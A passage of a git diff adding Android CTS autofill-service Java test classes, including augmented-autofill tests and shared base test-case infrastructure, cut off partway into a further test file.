+        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+
+    @Test
+    public void testAutofill_manualRequest() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude");
+
+        // Trigger autofill
+        mActivity.forceAutofillOnUsername();
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        // No inline request because didn't focus on any view.
+        assertBasicRequestInfo(request, mActivity, usernameId, expectedFocusedValue,
+                /* hasInlineRequest */ false);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+
+    @Test
+    public void testAutofill_autoThenManualRequests() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText username = mActivity.getUsername();
+        final AutofillId usernameId = username.getAutofillId();
+        final AutofillValue expectedFocusedValue = username.getAutofillValue();
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "WHATEVER")
+                        .build(), usernameId)
+                .build());
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final AugmentedFillRequest request1 = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request1, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+
+        sReplier.addResponse(NO_RESPONSE);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("Fill Me")
+                        .setField(usernameId, "dude")
+                        .build(), usernameId)
+                .build());
+        mActivity.expectAutoFill("dude");
+
+        // Trigger autofill
+        mActivity.clearFocus();
+        mActivity.forceAutofillOnUsername();
+        sReplier.getNextFillRequest();
+        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request2, mActivity, usernameId, expectedFocusedValue);
+
+        // Make sure standard Autofill UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Make sure Augmented Autofill UI is shown.
+        final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Fill Me");
+
+        // Autofill
+        ui.click();
+        mActivity.assertAutoFilled();
+        mAugmentedUiBot.assertUiGone();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
new file mode 100644
index 0000000..7720bc8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import android.autofillservice.cts.activities.AbstractWebViewActivity;
+import android.autofillservice.cts.testcore.IdMode;
+import android.autofillservice.cts.testcore.UiBot;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+public abstract class AbstractWebViewTestCase<A extends AbstractWebViewActivity>
+        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected AbstractWebViewTestCase() {
+    }
+
+    protected AbstractWebViewTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
+    // set using accessibility.
+    protected static final boolean INJECT_EVENTS = true;
+
+    @BeforeClass
+    public static void setReplierMode() {
+        sReplier.setIdMode(IdMode.HTML_NAME);
+    }
+
+    @AfterClass
+    public static void resetReplierMode() {
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillAutoActivityLaunchTestCase.java
new file mode 100644
index 0000000..851bcb7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillAutoActivityLaunchTestCase.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.allowOverlays;
+import static android.autofillservice.cts.testcore.Helper.disallowOverlays;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AugmentedUiBot;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedReplier;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.AutofillOptions;
+import android.view.autofill.AutofillManager;
+
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+/////
+///// NOTE: changes in this class should also be applied to
+/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
+/////       by which class it extends.
+
+// Must be public because of the @ClassRule
+public abstract class AugmentedAutofillAutoActivityLaunchTestCase
+        <A extends AbstractAutoFillActivity> extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected static AugmentedReplier sAugmentedReplier;
+    protected AugmentedUiBot mAugmentedUiBot;
+
+    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
+
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
+    public AugmentedAutofillAutoActivityLaunchTestCase() {}
+
+    public AugmentedAutofillAutoActivityLaunchTestCase(UiBot uiBot) {
+        super(uiBot);
+    }
+
+    @BeforeClass
+    public static void allowAugmentedAutofill() {
+        sContext.getApplicationContext()
+                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
+        allowOverlays();
+    }
+
+    @AfterClass
+    public static void resetAllowAugmentedAutofill() {
+        sContext.getApplicationContext().setAutofillOptions(null);
+        disallowOverlays();
+    }
+
+    @Before
+    public void setFixtures() {
+        mServiceWatcher = null;
+        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
+        sAugmentedReplier.reset();
+        CtsAugmentedAutofillService.resetStaticState();
+        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
+        mSafeCleanerRule
+                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
+                .run(() -> {
+                    AugmentedHelper.resetAugmentedService();
+                    if (mServiceWatcher != null) {
+                        mServiceWatcher.waitOnDisconnected();
+                    }
+                })
+                .add(() -> {
+                    return sAugmentedReplier.getExceptions();
+                });
+    }
+
+    @Override
+    protected int getNumberRetries() {
+        return 0; // A.K.A. "Optimistic Thinking"
+    }
+
+    @Override
+    protected int getSmartSuggestionMode() {
+        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
+    }
+
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
+    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
+        if (mServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+
+        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
+        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
+
+        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
+        service.waitUntilConnected();
+        return service;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillManualActivityLaunchTestCase.java
new file mode 100644
index 0000000..c2517ee
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AugmentedAutofillManualActivityLaunchTestCase.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.allowOverlays;
+import static android.autofillservice.cts.testcore.Helper.disallowOverlays;
+
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AugmentedUiBot;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedReplier;
+import android.content.AutofillOptions;
+import android.view.autofill.AutofillManager;
+
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+/////
+///// NOTE: changes in this class should also be applied to
+/////       AugmentedAutofillManualActivityLaunchTestCase, which is exactly the same as this except
+/////       by which class it extends.
+
+// Must be public because of the @ClassRule
+public abstract class AugmentedAutofillManualActivityLaunchTestCase
+        extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    protected static AugmentedReplier sAugmentedReplier;
+    protected AugmentedUiBot mAugmentedUiBot;
+
+    private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
+
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
+    @BeforeClass
+    public static void allowAugmentedAutofill() {
+        sContext.getApplicationContext()
+                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
+        allowOverlays();
+    }
+
+    @AfterClass
+    public static void resetAllowAugmentedAutofill() {
+        sContext.getApplicationContext().setAutofillOptions(null);
+        disallowOverlays();
+    }
+
+    @Before
+    public void setFixtures() {
+        sAugmentedReplier = CtsAugmentedAutofillService.getAugmentedReplier();
+        sAugmentedReplier.reset();
+        CtsAugmentedAutofillService.resetStaticState();
+        mAugmentedUiBot = new AugmentedUiBot(mUiBot);
+        mSafeCleanerRule
+                .run(() -> sAugmentedReplier.assertNoUnhandledFillRequests())
+                .run(() -> {
+                    AugmentedHelper.resetAugmentedService();
+                    if (mServiceWatcher != null) {
+                        mServiceWatcher.waitOnDisconnected();
+                    }
+                })
+                .add(() -> {
+                    return sAugmentedReplier.getExceptions();
+                });
+    }
+
+    @Override
+    protected int getSmartSuggestionMode() {
+        return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
+    }
+
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
+    protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
+        return enableAugmentedService(/* whitelistSelf= */ true);
+    }
+
+    protected CtsAugmentedAutofillService enableAugmentedService(boolean whitelistSelf)
+            throws InterruptedException {
+        if (mServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+
+        mServiceWatcher = CtsAugmentedAutofillService.setServiceWatcher();
+        AugmentedHelper.setAugmentedService(CtsAugmentedAutofillService.SERVICE_NAME);
+
+        CtsAugmentedAutofillService service = mServiceWatcher.waitOnConnected();
+        service.waitUntilConnected();
+        return service;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
new file mode 100644
index 0000000..879aa8e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -0,0 +1,488 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_NAME;
+import static android.content.Context.CLIPBOARD_SERVICE;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.activities.AugmentedAuthActivity;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.AutofillLoggingTestRule;
+import android.autofillservice.cts.testcore.AutofillTestWatcher;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.Replier;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.ClipboardManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.service.autofill.InlinePresentation;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.RetryRule;
+import com.android.compatibility.common.util.SafeCleanerRule;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+import com.android.compatibility.common.util.TestNameUtils;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSessionRule;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+/**
+ * Placeholder for the base class for all integration tests:
+ *
+ * <ul>
+ *   <li>{@link AutoActivityLaunch}
+ *   <li>{@link ManualActivityLaunch}
+ * </ul>
+ *
+ * <p>These classes provide the common infrastructure such as:
+ *
+ * <ul>
+ *   <li>Preserving the autofill service settings.
+ *   <li>Cleaning up test state.
+ *   <li>Wrapping the test under autofill-specific test rules.
+ *   <li>Launching the activity used by the test.
+ * </ul>
+ */
+public final class AutoFillServiceTestCase {
+
+    /**
+     * Base class for all test cases that use an {@link AutofillActivityTestRule} to
+     * launch the activity.
+     */
+    // Must be public because of @ClassRule
+    public abstract static class AutoActivityLaunch<A extends AbstractAutoFillActivity>
+            extends BaseTestCase {
+
+        /**
+         * Returns if inline suggestion is enabled.
+         */
+        protected boolean isInlineMode() {
+            return false;
+        }
+
+        protected static UiBot getInlineUiBot() {
+            return sDefaultUiBot2;
+        }
+
+        protected static UiBot getDropdownUiBot() {
+            return sDefaultUiBot;
+        }
+
+        @ClassRule
+        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
+                sTheRealServiceSettingsKeeper;
+
+        protected AutoActivityLaunch() {
+            super(sDefaultUiBot);
+        }
+        protected AutoActivityLaunch(UiBot uiBot) {
+            super(uiBot);
+        }
+
+        @Override
+        protected TestRule getMainTestRule() {
+            return getActivityRule();
+        }
+
+        /**
+         * Gets the rule to launch the main activity for this test.
+         *
+         * <p><b>Note: </b>the rule must be either lazily generated or a static singleton, otherwise
+         * this method could return {@code null} when the rule chain that uses it is constructed.
+         *
+         */
+        protected abstract @NonNull AutofillActivityTestRule<A> getActivityRule();
+
+        protected @NonNull A launchActivity(@NonNull Intent intent) {
+            return getActivityRule().launchActivity(intent);
+        }
+
+        protected @NonNull A getActivity() {
+            return getActivityRule().getActivity();
+        }
+    }
+
+    /**
+     * Base class for all test cases that don't require an {@link AutofillActivityTestRule}.
+     */
+    // Must be public because of @ClassRule
+    public abstract static class ManualActivityLaunch extends BaseTestCase {
+
+        @ClassRule
+        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
+                sTheRealServiceSettingsKeeper;
+
+        protected ManualActivityLaunch() {
+            this(sDefaultUiBot);
+        }
+
+        protected ManualActivityLaunch(@NonNull UiBot uiBot) {
+            super(uiBot);
+        }
+
+        @Override
+        protected TestRule getMainTestRule() {
+            // TODO: create a NoOpTestRule on common code
+            return new TestRule() {
+
+                @Override
+                public Statement apply(Statement base, Description description) {
+                    // Returns a no-op statements
+                    return new Statement() {
+                        @Override
+                        public void evaluate() throws Throwable {
+                            base.evaluate();
+                        }
+                    };
+                }
+            };
+        }
+
+        protected SimpleSaveActivity startSimpleSaveActivity() throws Exception {
+            final Intent intent = new Intent(mContext, SimpleSaveActivity.class)
+                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+            mUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
+            return SimpleSaveActivity.getInstance();
+        }
+
+        protected PreSimpleSaveActivity startPreSimpleSaveActivity() throws Exception {
+            final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class)
+                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+            mUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
+            return PreSimpleSaveActivity.getInstance();
+        }
+    }
+
+    @RunWith(AndroidJUnit4.class)
+    // Must be public because of @ClassRule
+    public abstract static class BaseTestCase {
+
+        private static final String TAG = "AutoFillServiceTestCase";
+
+        protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
+
+        protected static final Context sContext = getInstrumentation().getTargetContext();
+
+        // Hack because JUnit requires that @ClassRule instance belong to a public class.
+        protected static final SettingsStateKeeperRule sTheRealServiceSettingsKeeper =
+                new SettingsStateKeeperRule(sContext, Settings.Secure.AUTOFILL_SERVICE) {
+            @Override
+            protected void preEvaluate(Description description) {
+                TestNameUtils.setCurrentTestClass(description.getClassName());
+            }
+
+            @Override
+            protected void postEvaluate(Description description) {
+                TestNameUtils.setCurrentTestClass(null);
+            }
+        };
+
+        public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule(
+                InstrumentationRegistry.getTargetContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInlineSuggestionsEnabled(true)
+                        .setInlineSuggestionViewContentDesc(InlineUiBot.SUGGESTION_STRIP_DESC));
+
+        protected static final RequiredFeatureRule sRequiredFeatureRule =
+                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+
+        private final AutofillTestWatcher mTestWatcher = new AutofillTestWatcher();
+
+        private final RetryRule mRetryRule =
+                new RetryRule(getNumberRetries(), () -> {
+                    // Between testing and retries, clean all launched activities to avoid
+                    // exception:
+                    //     Could not launch intent Intent { ... } within 45 seconds.
+                    mTestWatcher.cleanAllActivities();
+                    cleanAllActivities();
+                });
+
+        private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
+
+        protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
+                .setDumper(mLoggingRule)
+                .run(() -> sReplier.assertNoUnhandledFillRequests())
+                .run(() -> sReplier.assertNoUnhandledSaveRequests())
+                .add(() -> {
+                    return sReplier.getExceptions();
+                });
+
+        @Rule
+        public final RuleChain mLookAllTheseRules = RuleChain
+                //
+                // requiredFeatureRule should be first so the test can be skipped right away
+                .outerRule(getRequiredFeaturesRule())
+                //
+                // mTestWatcher should always be one the first rules, as it defines the name of the
+                // test being ran and finishes dangling activities at the end
+                .around(mTestWatcher)
+                //
+                // sMockImeSessionRule make sure MockImeSession.create() is used to launch mock IME
+                .around(sMockImeSessionRule)
+                //
+                // mLoggingRule wraps the test but doesn't interfere with it
+                .around(mLoggingRule)
+                //
+                // mSafeCleanerRule will catch errors
+                .around(mSafeCleanerRule)
+                //
+                // mRetryRule should be closest to the main test as possible
+                .around(mRetryRule)
+                //
+                // Augmented Autofill should be disabled by default
+                .around(new DeviceConfigStateChangerRule(sContext, DeviceConfig.NAMESPACE_AUTOFILL,
+                        AutofillManager.DEVICE_CONFIG_AUTOFILL_SMART_SUGGESTION_SUPPORTED_MODES,
+                        Integer.toString(getSmartSuggestionMode())))
+                //
+                // Finally, let subclasses add their own rules (like ActivityTestRule)
+                .around(getMainTestRule());
+
+
+        protected final Context mContext = sContext;
+        protected final String mPackageName;
+        protected final UiBot mUiBot;
+
+        private BaseTestCase(@NonNull UiBot uiBot) {
+            mPackageName = mContext.getPackageName();
+            mUiBot = uiBot;
+            mUiBot.reset();
+        }
+
+        protected int getSmartSuggestionMode() {
+            return AutofillManager.FLAG_SMART_SUGGESTION_OFF;
+        }
+
+        /**
+         * Gets how many times a test should be retried.
+         *
+         * @return {@code 1} by default, unless overridden by subclasses or by a global settings
+         * named {@code CLASS_NAME + #getNumberRetries} or
+         * {@code CtsAutoFillServiceTestCases#getNumberRetries} (the former having a higher
+         * priority).
+         */
+        protected int getNumberRetries() {
+            final String localProp = getClass().getName() + "#getNumberRetries";
+            final Integer localValue = getNumberRetries(localProp);
+            if (localValue != null) return localValue.intValue();
+
+            final String globalProp = "CtsAutoFillServiceTestCases#getNumberRetries";
+            final Integer globalValue = getNumberRetries(globalProp);
+            if (globalValue != null) return globalValue.intValue();
+
+            return 1;
+        }
+
+        private Integer getNumberRetries(String prop) {
+            final String value = Settings.Global.getString(sContext.getContentResolver(), prop);
+            if (value != null) {
+                Log.i(TAG, "getNumberRetries(): overriding to " + value + " because of '" + prop
+                        + "' global setting");
+                try {
+                    return Integer.parseInt(value);
+                } catch (Exception e) {
+                    Log.w(TAG, "error parsing property '" + prop + "'='" + value + "'", e);
+                }
+            }
+            return null;
+        }
+
+        /**
+         * Gets a rule that defines which features must be present for this test to run.
+         *
+         * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
+         * but subclass can override to be more specific.
+         */
+        @NonNull
+        protected TestRule getRequiredFeaturesRule() {
+            return sRequiredFeatureRule;
+        }
+
+        /**
+         * Gets the test-specific {@link Rule @Rule}.
+         *
+         * <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
+         * so the order is preserved.
+         *
+         */
+        @NonNull
+        protected abstract TestRule getMainTestRule();
+
+        @BeforeClass
+        public static void disableDefaultAugmentedService() {
+            Log.v(TAG, "@BeforeClass: disableDefaultAugmentedService()");
+            Helper.setDefaultAugmentedAutofillServiceEnabled(false);
+        }
+
+        @AfterClass
+        public static void enableDefaultAugmentedService() {
+            Log.v(TAG, "@AfterClass: enableDefaultAugmentedService()");
+            Helper.setDefaultAugmentedAutofillServiceEnabled(true);
+        }
+
+        @Before
+        public void prepareDevice() throws Exception {
+            Log.v(TAG, "@Before: prepareDevice()");
+
+            // Unlock screen.
+            runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+            // Dismiss keyguard, in case it's set as "Swipe to unlock".
+            runShellCommand("wm dismiss-keyguard");
+
+            // Collapse notifications.
+            runShellCommand("cmd statusbar collapse");
+
+            // Set orientation as portrait, otherwise some tests might fail due to elements not
+            // fitting in, IME orientation, etc...
+            mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+
+            // Wait until device is idle to avoid flakiness
+            mUiBot.waitForIdle();
+
+            // Clear Clipboard
+            // TODO(b/117768051): remove try/catch once fixed
+            try {
+                ((ClipboardManager) mContext.getSystemService(CLIPBOARD_SERVICE))
+                    .clearPrimaryClip();
+            } catch (Exception e) {
+                Log.e(TAG, "Ignoring exception clearing clipboard", e);
+            }
+        }
+
+        @Before
+        public void preTestCleanup() {
+            Log.v(TAG, "@Before: preTestCleanup()");
+
+            prepareServicePreTest();
+
+            InstrumentedAutoFillService.resetStaticState();
+            AuthenticationActivity.resetStaticState();
+            AugmentedAuthActivity.resetStaticState();
+            sReplier.reset();
+        }
+
+        /**
+         * Prepares the service before each test - by default, disables it
+         */
+        protected void prepareServicePreTest() {
+            Log.v(TAG, "prepareServicePreTest(): calling disableService()");
+            disableService();
+        }
+
+        /**
+         * Enables the {@link InstrumentedAutoFillService} for autofill for the current user.
+         */
+        protected void enableService() {
+            Helper.enableAutofillService(getContext(), SERVICE_NAME);
+        }
+
+        /**
+         * Disables the {@link InstrumentedAutoFillService} for autofill for the current user.
+         */
+        protected void disableService() {
+            Helper.disableAutofillService(getContext());
+        }
+
+        /**
+         * Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
+         */
+        protected void assertServiceEnabled() {
+            Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
+        }
+
+        /**
+         * Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
+         */
+        protected void assertServiceDisabled() {
+            Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
+        }
+
+        protected RemoteViews createPresentation(String message) {
+            return Helper.createPresentation(message);
+        }
+
+        protected RemoteViews createPresentationWithCancel(String message) {
+            final RemoteViews presentation = new RemoteViews(getContext()
+                    .getPackageName(), R.layout.list_item_cancel);
+            presentation.setTextViewText(R.id.text1, message);
+            return presentation;
+        }
+
+        protected InlinePresentation createInlinePresentation(String message) {
+            return Helper.createInlinePresentation(message);
+        }
+
+        protected InlinePresentation createInlinePresentation(String message,
+                                                              PendingIntent attribution) {
+            return Helper.createInlinePresentation(message, attribution);
+        }
+
+        @NonNull
+        protected AutofillManager getAutofillManager() {
+            return mContext.getSystemService(AutofillManager.class);
+        }
+
+        /**
+         * Used to clean all activities that started by test case and does not control by the
+         * AutofillTestWatcher.
+         */
+        protected void cleanAllActivities() {}
+    }
+
+    protected static final UiBot sDefaultUiBot = new UiBot();
+    protected static final UiBot sDefaultUiBot2 = new InlineUiBot();
+
+    private AutoFillServiceTestCase() {
+        throw new UnsupportedOperationException("Contain static stuff only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/CustomDescriptionWithLinkTestCase.java
new file mode 100644
index 0000000..774fa5a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/CustomDescriptionWithLinkTestCase.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.PendingIntent;
